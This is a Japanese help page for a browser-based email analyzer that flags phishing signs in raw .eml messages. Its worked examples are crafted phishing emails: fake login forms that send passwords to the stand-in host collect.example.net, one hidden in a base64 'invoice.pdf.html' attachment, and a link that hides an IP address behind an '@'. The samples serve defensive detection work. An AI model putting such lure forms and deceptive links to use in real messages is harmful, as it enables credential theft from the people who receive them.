メール

EMLアナライザー

ローカルで動作新着

ツール自体は英語ですが、このページではお客様の言語でその使い方を説明しています。

EMLアナライザー を使用してください

機能の説明

.emlファイルをドロップするかメッセージのソースを貼り付けて、送信者ヘッダー、Receivedチェーン、リンク、添付ファイルを確認します。すべてブラウザ内で実行されます。

すべてブラウザ上で動作します。入力した内容は一切アップロードされません。

EMLアナライザー の使い方

  1. 生のメッセージを入手する. メールを.emlとして保存するか、ソースをコピーします(GmailのShow original、OutlookのView message source、ThunderbirdやApple MailのView source)。Outlookの.msgファイルは読み込めません。
  2. 読み込む. .emlファイルを枠にドロップするか選択する(最大50 MB)か、ソースをテキスト欄に貼り付けて(最大5 MB)Analyze(解析)を押します。
  3. Summaryを読む. 所見は、危険の兆候、警告、注記、合格したチェックに分類されます。各行には、それがどのヘッダー、リンク、添付ファイルから来たものかが示されます。
  4. 詳細を確認する. 概要の下には、送信者ヘッダー、Fromのドメインと比較したドメイン、認証結果、Receivedチェーン、すべてのリンク、すべての添付ファイルが表示されます。
  5. 指標を取り出す. 必要な指標の種類にチェックを入れ、そのままの形またはデファングした形でコピーするか、.txtファイルとしてダウンロードするか、Send toを使います。

例

作成したフィッシングメッセージ

入力
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
出力(2026-10-20に記録)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

support@example.comを装った表示名、別ドメインのReply-ToとDKIM、DMARC fail、テキストにはwww.example.comと表示されているのにlogin.example.netへ移動するリンク、そしてパスワード入力フォームを含むinvoice.pdf.htmlという添付ファイルが検出されます。

チェック対象

シグナルその意味
メールアドレスを含む表示名名前にあるアドレスと実際の送信者が異なる場合は危険です。メールアプリは名前だけを表示することがよくあります。
別ドメインのReply-To警告です。返信は送信者とは別の組織に届きます。
Authentication-ResultsDMARC failとSPF failは危険の兆候で、SPF softfailとDKIM failは警告です。有効なのは自分のプロバイダーが追加した結果だけです。
Return-PathとDKIM d=のドメインFromのドメインと異なる場合に注記されます。一斉配信サービスでは普通のことですが、DMARCではどちらかが一致(アライメント)している必要があります。
Receivedチェーンホップは古い順に遅延とともに一覧表示されます。前のホップより早いタイムスタンプ、1時間を超える遅延、「may be forged」となっている逆引きDNSは警告されます。
リンクのテキストと移動先表示テキストがあるドメインを示し、リンクが別のドメインに移動する場合や、@より前のテキストで実際のホストが隠されている場合は危険です。IPアドレスだけのリンク、Punycode、短縮URL、ラップされたリンクにも印が付きます。
添付ファイル二重拡張子、コードを実行するファイルやブラウザで開くファイル、拡張子と一致しない内容、右から左への上書き(RLO)を使った手口が警告されます。各ファイルにSHA-256、SHA-1、MD5が付きます。
HTML内のフォームとスクリプト本文や添付ファイル内のパスワード欄を含むフォームは、危険の兆候です。添付ファイル内のスクリプトコードは警告です。

その他の例

IPアドレスを隠したリンク

入力
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
結果

危険の兆候1件「1 link: text before "@" is ignored: the real host is 203.0.113.7」と、警告1件「1 link: link goes to a bare IP address」が表示されます。Linksの表には、デファングされたアドレスがテキストUpgrade storageと並んで表示されます。

PDFを装ったHTMLページ

入力
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
結果

危険の兆候が2件表示されます。添付ファイルinvoice.pdfが「contains a form with a password field」(パスワード欄を含むフォームがある)こと、そしてその「content is HTML document, not .pdf」(内容が.pdfではなくHTML文書である)ことです。添付ファイルのカードにはContent: HTML documentと3つのハッシュが表示され、Linksの表にはフォームの送信先が「form submits data to this address」とともに一覧表示されます。

よくある質問

EML Analyzerは何を確認しますか?

ヘッダーとすべてのMIMEパートをデコードし、From、Reply-To、Return-Path、DKIMのd=、Message-IDのドメインを比較して、Authentication-Resultsを読み取ります。また、Receivedホップを遅延とともに、すべてのリンクを表示テキストとともに一覧表示し、各添付ファイルのSHA-256、SHA-1、MD5を示します。

メールがフィッシングであること、または安全であることを証明できますか?

いいえ。示すのは事実と警告の兆候であり、判定ではありません。正規の一斉配信メールでもReturn-PathやDKIMのドメインが異なることはよくあり、DKIM署名は一覧表示されますが暗号学的には検証されません。Outlookの.msgファイルには対応していないため、先に.emlとして保存してください。

メールはどこかにアップロードされますか?

いいえ。ファイルはブラウザ内で読み込まれて解析され、HTMLはテキストとして表示されるだけでレンダリングされることはなく、ネットワーク上には何も送信されません。Send toボタンは、ブラウザのセッションストレージを通じて結果を別のツールページに渡します。

どのAuthentication-Resultsヘッダーを信頼しますか?

自分のメールシステムが追加したものです。Receivedチェーンから判別され、「added by the recipient's server」と表示されます。メッセージのより下にあるヘッダーは送信者が書き込める可能性があるため、ページでは自分のプロバイダーの結果だけを信頼するよう案内しています。

別のメールに添付されたメールを開けますか?

はい。添付されたメッセージはハッシュとともに一覧表示され、「Analyze the attached message」ボタンで同じ画面に開けます。「Back to the outer message」で元に戻れます。

一部のIPアドレスが指標に含まれないのはなぜですか?

プライベートアドレスやローカルアドレス、受信者自身のメールシステム内のホップは、送信者のサーバーを指していないため除外されます。受信者のメールアドレスも決して含まれません。

用語解説

PhishDestroyの調査